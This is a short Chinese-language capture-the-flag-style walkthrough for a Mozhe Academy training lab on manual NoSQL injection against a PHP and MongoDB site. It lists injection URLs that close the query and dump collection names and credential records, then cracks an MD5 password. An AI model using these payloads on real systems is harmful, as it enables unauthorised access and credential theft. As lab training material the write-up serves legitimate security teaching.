墨者學院 - SQL手工注入漏洞測試(MongoDB數據庫)
SQL手工注入漏洞測試(MongoDB數據庫)
背景介紹
安全工程師"墨者"最近在練習SQL手工注入漏洞,自己剛搭建好一個靶場環境Nginx+PHP+MongoDB,PHP代碼對客戶端提交的參數未做任何過濾。盡情的練習SQL手工注入吧。
附上源代碼截圖:
實訓目標
1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解MongoDB的數據結構;
4.了解字符串的MD5加解密;
解題
手工進行SQL注入測試,獲取管理密碼登錄。
# 查看是否有注入點
http://ip/new_list.php?id=1'
# 想辦法閉合語句,查看所有集合
# db.getCollectionNames()返回的是數組,需要用tojson轉換為字符串。並且mongodb函數區分大小寫
http://ip/new_list.php?id=1'}); return ({title:tojson(db.getCollectionNames()),2:'1
類似語句:
select SCHEMA_NAME from information_schema.SCHEMATA
# 查看Authority_confidential集合的第一條數據
http://ip/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),2:'1
類似語句:
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='Authority_confidential'
# 查看Authority_confidential集合的第二條數據
http://ip/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[1]),2:'1
得到用戶名密碼,密碼用md5解密
登陸,獲得key